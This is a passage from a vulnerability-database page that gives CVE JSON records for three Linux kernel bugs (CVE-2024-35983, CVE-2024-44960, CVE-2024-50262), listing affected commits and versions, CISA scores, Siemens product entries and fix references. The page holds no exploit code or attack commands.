Linux	Linux	Affected: d6077e0d38b4953c863d0db4a5b3f41d21e0d546 , < d34a516f2635090d36a306f84573e8de3d7374ce (git) Affected: 83a2275f9d3230c761014b1467888b1ef469be74 , < 66297b2ceda841f809637731d287bda3a93b49d8 (git) Affected: d2a7a81088c6abe778b0a93a7eeb79487a943818 , < 93ba36238db6a74a82feb3dc476e25ea424ad630 (git) Affected: 428ca0000f0abd5c99354c52a36becf2b815ca21 , < 9b7c5004d7c5ae062134052a85290869a015814c (git) Affected: b46c822f8b555b9513df44047b0e72c06720df62 , < 15aa09d6d84629eb5296de30ac0aa19a33512f16 (git) Affected: cf778fff03be1ee88c49b72959650147573c3301 , < ebfe41889b762f1933c6762f6624b9724a25bee0 (git) Affected: f2d5dcb48f7ba9e3ff249d58fc1fa963d374e66a , < 5af385f5f4cddf908f663974847a4083b2ff2c79 (git) Affected: b2e1b090a590d41abe647eadb6bf2a5dc47b63ab (git)
Linux	Linux	Affected: 5.4.274 , < 5.4.275 (semver) Affected: 5.10.215 , < 5.10.216 (semver) Affected: 5.15.154 , < 5.15.158 (semver) Affected: 6.1.84 , < 6.1.90 (semver) Affected: 6.6.24 , < 6.6.30 (semver) Affected: 6.8.3 , < 6.8.9 (semver)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35983",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-20T13:33:05.860363Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:34:16.061Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:49.040Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d34a516f2635090d36a306f84573e8de3d7374ce"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/66297b2ceda841f809637731d287bda3a93b49d8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/93ba36238db6a74a82feb3dc476e25ea424ad630"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9b7c5004d7c5ae062134052a85290869a015814c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/15aa09d6d84629eb5296de30ac0aa19a33512f16"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ebfe41889b762f1933c6762f6624b9724a25bee0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5af385f5f4cddf908f663974847a4083b2ff2c79"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:25.765Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "kernel/bounds.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d34a516f2635090d36a306f84573e8de3d7374ce",
              "status": "affected",
              "version": "d6077e0d38b4953c863d0db4a5b3f41d21e0d546",
              "versionType": "git"
            },
            {
              "lessThan": "66297b2ceda841f809637731d287bda3a93b49d8",
              "status": "affected",
              "version": "83a2275f9d3230c761014b1467888b1ef469be74",
              "versionType": "git"
            },
            {
              "lessThan": "93ba36238db6a74a82feb3dc476e25ea424ad630",
              "status": "affected",
              "version": "d2a7a81088c6abe778b0a93a7eeb79487a943818",
              "versionType": "git"
            },
            {
              "lessThan": "9b7c5004d7c5ae062134052a85290869a015814c",
              "status": "affected",
              "version": "428ca0000f0abd5c99354c52a36becf2b815ca21",
              "versionType": "git"
            },
            {
              "lessThan": "15aa09d6d84629eb5296de30ac0aa19a33512f16",
              "status": "affected",
              "version": "b46c822f8b555b9513df44047b0e72c06720df62",
              "versionType": "git"
            },
            {
              "lessThan": "ebfe41889b762f1933c6762f6624b9724a25bee0",
              "status": "affected",
              "version": "cf778fff03be1ee88c49b72959650147573c3301",
              "versionType": "git"
            },
            {
              "lessThan": "5af385f5f4cddf908f663974847a4083b2ff2c79",
              "status": "affected",
              "version": "f2d5dcb48f7ba9e3ff249d58fc1fa963d374e66a",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "b2e1b090a590d41abe647eadb6bf2a5dc47b63ab",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "kernel/bounds.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5.4.275",
              "status": "affected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThan": "5.10.216",
              "status": "affected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThan": "5.15.158",
              "status": "affected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThan": "6.1.90",
              "status": "affected",
              "version": "6.1.84",
              "versionType": "semver"
            },
            {
              "lessThan": "6.6.30",
              "status": "affected",
              "version": "6.6.24",
              "versionType": "semver"
            },
            {
              "lessThan": "6.8.9",
              "status": "affected",
              "version": "6.8.3",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.275",
                  "versionStartIncluding": "5.4.274",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "5.10.215",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.158",
                  "versionStartIncluding": "5.15.154",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.90",
                  "versionStartIncluding": "6.1.84",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.30",
                  "versionStartIncluding": "6.6.24",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.9",
                  "versionStartIncluding": "6.8.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.7.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbounds: Use the right number of bits for power-of-two CONFIG_NR_CPUS\n\nbits_per() rounds up to the next power of two when passed a power of\ntwo.  This causes crashes on some machines and configurations."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:14:59.060Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d34a516f2635090d36a306f84573e8de3d7374ce"
        },
        {
          "url": "https://git.kernel.org/stable/c/66297b2ceda841f809637731d287bda3a93b49d8"
        },
        {
          "url": "https://git.kernel.org/stable/c/93ba36238db6a74a82feb3dc476e25ea424ad630"
        },
        {
          "url": "https://git.kernel.org/stable/c/9b7c5004d7c5ae062134052a85290869a015814c"
        },
        {
          "url": "https://git.kernel.org/stable/c/15aa09d6d84629eb5296de30ac0aa19a33512f16"
        },
        {
          "url": "https://git.kernel.org/stable/c/ebfe41889b762f1933c6762f6624b9724a25bee0"
        },
        {
          "url": "https://git.kernel.org/stable/c/5af385f5f4cddf908f663974847a4083b2ff2c79"
        }
      ],
      "title": "bounds: Use the right number of bits for power-of-two CONFIG_NR_CPUS",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35983",
    "datePublished": "2024-05-20T09:47:51.079Z",
    "dateReserved": "2024-05-17T13:50:33.145Z",
    "dateUpdated": "2026-05-12T11:53:25.765Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-44960 (GCVE-0-2024-44960)

Vulnerability from cvelistv5 – Published: 2024-09-04 18:35 – Updated: 2026-05-12 11:57

Title

usb: gadget: core: Check for unset descriptor

Summary

In the Linux kernel, the following vulnerability has been resolved: usb: gadget: core: Check for unset descriptor Make sure the descriptor has been set before looking at maxpacket. This fixes a null pointer panic in this case. This may happen if the gadget doesn't properly set up the endpoint for the current speed, or the gadget descriptors are malformed and the descriptor for the speed/endpoint are not found. No current gadget driver is known to have this problem, but this may cause a hard-to-find bug during development of new gadgets.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/ba15815dd24cc5ec0…
https://git.kernel.org/stable/c/df8e734ae5e605348…
https://git.kernel.org/stable/c/7cc9ebcfe58be22f1…
https://git.kernel.org/stable/c/50c5248b0ea8aae05…
https://git.kernel.org/stable/c/a0362cd6e503278ad…
https://git.kernel.org/stable/c/1a9df57d57452b104…
https://git.kernel.org/stable/c/716cba46f73a92645…
https://git.kernel.org/stable/c/973a57891608a98e8…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: d1c188d330ca33cc35d1590441ba276f31144299 , < ba15815dd24cc5ec0d23e2170dc58c7db1e03b4a (git) Affected: 54f83b8c8ea9b22082a496deadf90447a326954e , < df8e734ae5e605348aa0ca2498aedb73e815f244 (git) Affected: 54f83b8c8ea9b22082a496deadf90447a326954e , < 7cc9ebcfe58be22f18056ad8bc6272d120bdcb3e (git) Affected: 54f83b8c8ea9b22082a496deadf90447a326954e , < 50c5248b0ea8aae0529fdf28dac42a41312d3b62 (git) Affected: 54f83b8c8ea9b22082a496deadf90447a326954e , < a0362cd6e503278add954123957fd47990e8d9bf (git) Affected: 54f83b8c8ea9b22082a496deadf90447a326954e , < 1a9df57d57452b104c46c918569143cf21d7ebf1 (git) Affected: 54f83b8c8ea9b22082a496deadf90447a326954e , < 716cba46f73a92645cf13eded8d257ed48afc2a4 (git) Affected: 54f83b8c8ea9b22082a496deadf90447a326954e , < 973a57891608a98e894db2887f278777f564de18 (git) Affected: d7e3f2fe01372eb914d0e451f0e7a46cbcb98f9e (git) Affected: 85c9ece11264499890d0e9f0dee431ac1bda981c (git) Affected: fc71e39a6c07440e6968227f3db1988f45d7a7b7 (git) Affected: 94f5de2eefae22c449e367c2dacafe869af73e3f (git) Affected: 8212b44b7109bd30dbf7eb7f5ecbbc413757a7d7 (git)
Linux	Linux	Affected: 5.4 Unaffected: 0 , < 5.4 (semver) Unaffected: 4.19.320 , ≤ 4.19.* (semver) Unaffected: 5.4.282 , ≤ 5.4.* (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.105 , ≤ 6.1.* (semver) Unaffected: 6.6.46 , ≤ 6.6.* (semver) Unaffected: 6.10.5 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-44960",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:39:50.689815Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:33:35.969Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:14:09.135Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:57:23.885Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/gadget/udc/core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "ba15815dd24cc5ec0d23e2170dc58c7db1e03b4a",
              "status": "affected",
              "version": "d1c188d330ca33cc35d1590441ba276f31144299",
              "versionType": "git"
            },
            {
              "lessThan": "df8e734ae5e605348aa0ca2498aedb73e815f244",
              "status": "affected",
              "version": "54f83b8c8ea9b22082a496deadf90447a326954e",
              "versionType": "git"
            },
            {
              "lessThan": "7cc9ebcfe58be22f18056ad8bc6272d120bdcb3e",
              "status": "affected",
              "version": "54f83b8c8ea9b22082a496deadf90447a326954e",
              "versionType": "git"
            },
            {
              "lessThan": "50c5248b0ea8aae0529fdf28dac42a41312d3b62",
              "status": "affected",
              "version": "54f83b8c8ea9b22082a496deadf90447a326954e",
              "versionType": "git"
            },
            {
              "lessThan": "a0362cd6e503278add954123957fd47990e8d9bf",
              "status": "affected",
              "version": "54f83b8c8ea9b22082a496deadf90447a326954e",
              "versionType": "git"
            },
            {
              "lessThan": "1a9df57d57452b104c46c918569143cf21d7ebf1",
              "status": "affected",
              "version": "54f83b8c8ea9b22082a496deadf90447a326954e",
              "versionType": "git"
            },
            {
              "lessThan": "716cba46f73a92645cf13eded8d257ed48afc2a4",
              "status": "affected",
              "version": "54f83b8c8ea9b22082a496deadf90447a326954e",
              "versionType": "git"
            },
            {
              "lessThan": "973a57891608a98e894db2887f278777f564de18",
              "status": "affected",
              "version": "54f83b8c8ea9b22082a496deadf90447a326954e",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "d7e3f2fe01372eb914d0e451f0e7a46cbcb98f9e",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "85c9ece11264499890d0e9f0dee431ac1bda981c",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "fc71e39a6c07440e6968227f3db1988f45d7a7b7",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "94f5de2eefae22c449e367c2dacafe869af73e3f",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "8212b44b7109bd30dbf7eb7f5ecbbc413757a7d7",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/gadget/udc/core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.4"
            },
            {
              "lessThan": "5.4",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.320",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.282",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.105",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.46",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.320",
                  "versionStartIncluding": "4.19.82",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.282",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.105",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.46",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.5",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.16.80",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.4.199",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.9.199",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.14.152",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.3.9",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: core: Check for unset descriptor\n\nMake sure the descriptor has been set before looking at maxpacket.\nThis fixes a null pointer panic in this case.\n\nThis may happen if the gadget doesn\u0027t properly set up the endpoint\nfor the current speed, or the gadget descriptors are malformed and\nthe descriptor for the speed/endpoint are not found.\n\nNo current gadget driver is known to have this problem, but this\nmay cause a hard-to-find bug during development of new gadgets."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:32:45.987Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/ba15815dd24cc5ec0d23e2170dc58c7db1e03b4a"
        },
        {
          "url": "https://git.kernel.org/stable/c/df8e734ae5e605348aa0ca2498aedb73e815f244"
        },
        {
          "url": "https://git.kernel.org/stable/c/7cc9ebcfe58be22f18056ad8bc6272d120bdcb3e"
        },
        {
          "url": "https://git.kernel.org/stable/c/50c5248b0ea8aae0529fdf28dac42a41312d3b62"
        },
        {
          "url": "https://git.kernel.org/stable/c/a0362cd6e503278add954123957fd47990e8d9bf"
        },
        {
          "url": "https://git.kernel.org/stable/c/1a9df57d57452b104c46c918569143cf21d7ebf1"
        },
        {
          "url": "https://git.kernel.org/stable/c/716cba46f73a92645cf13eded8d257ed48afc2a4"
        },
        {
          "url": "https://git.kernel.org/stable/c/973a57891608a98e894db2887f278777f564de18"
        }
      ],
      "title": "usb: gadget: core: Check for unset descriptor",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-44960",
    "datePublished": "2024-09-04T18:35:58.469Z",
    "dateReserved": "2024-08-21T05:34:56.666Z",
    "dateUpdated": "2026-05-12T11:57:23.885Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50262 (GCVE-0-2024-50262)

Vulnerability from cvelistv5 – Published: 2024-11-09 10:17 – Updated: 2026-05-12 12:00

Title

bpf: Fix out-of-bounds write in trie_get_next_key()

Summary

In the Linux kernel, the following vulnerability has been resolved: bpf: Fix out-of-bounds write in trie_get_next_key() trie_get_next_key() allocates a node stack with size trie->max_prefixlen, while it writes (trie->max_prefixlen + 1) nodes to the stack when it has full paths from the root to leaves. For example, consider a trie with max_prefixlen is 8, and the nodes with key 0x00/0, 0x00/1, 0x00/2, ... 0x00/8 inserted. Subsequent calls to trie_get_next_key with _key with .prefixlen = 8 make 9 nodes be written on the node stack with size 8.

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-787 - Out-of-bounds Write

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/e8494ac079814a53f…
https://git.kernel.org/stable/c/91afbc0eb3c90258a…
https://git.kernel.org/stable/c/590976f921723d53a…
https://git.kernel.org/stable/c/86c8ebe02d8806dd8…
https://git.kernel.org/stable/c/a035df0b98df42455…
https://git.kernel.org/stable/c/90a6e0e1e151ef7a9…
https://git.kernel.org/stable/c/c4b4f9a9ab82238cb…
https://git.kernel.org/stable/c/13400ac8fb80c57c2…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: b471f2f1de8b816f1e799b80aa92588f3566e4bd , < e8494ac079814a53fbc2258d2743e720907488ed (git) Affected: b471f2f1de8b816f1e799b80aa92588f3566e4bd , < 91afbc0eb3c90258ae378ae3c6ead3d2371e926d (git) Affected: b471f2f1de8b816f1e799b80aa92588f3566e4bd , < 590976f921723d53ac199c01d5b7b73a94875e68 (git) Affected: b471f2f1de8b816f1e799b80aa92588f3566e4bd , < 86c8ebe02d8806dd8878d0063e8e185622ab6ea6 (git) Affected: b471f2f1de8b816f1e799b80aa92588f3566e4bd , < a035df0b98df424559fd383e8e1a268f422ea2ba (git) Affected: b471f2f1de8b816f1e799b80aa92588f3566e4bd , < 90a6e0e1e151ef7a9282e78f54c3091de2dcc99c (git) Affected: b471f2f1de8b816f1e799b80aa92588f3566e4bd , < c4b4f9a9ab82238cb158fa4fe61a8c0ae21a4980 (git) Affected: b471f2f1de8b816f1e799b80aa92588f3566e4bd , < 13400ac8fb80c57c2bfb12ebd35ee121ce9b4d21 (git)
Linux	Linux	Affected: 4.16 Unaffected: 0 , < 4.16 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.229 , ≤ 5.10.* (semver) Unaffected: 5.15.171 , ≤ 5.15.* (semver) Unaffected: 6.1.116 , ≤ 6.1.* (semver) Unaffected: 6.6.60 , ≤ 6.6.* (semver) Unaffected: 6.11.7 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-50262",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-12-11T15:09:18.664200Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-787",
                "description": "CWE-787 Out-of-bounds Write",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-12-11T15:18:34.769Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:27:42.104Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
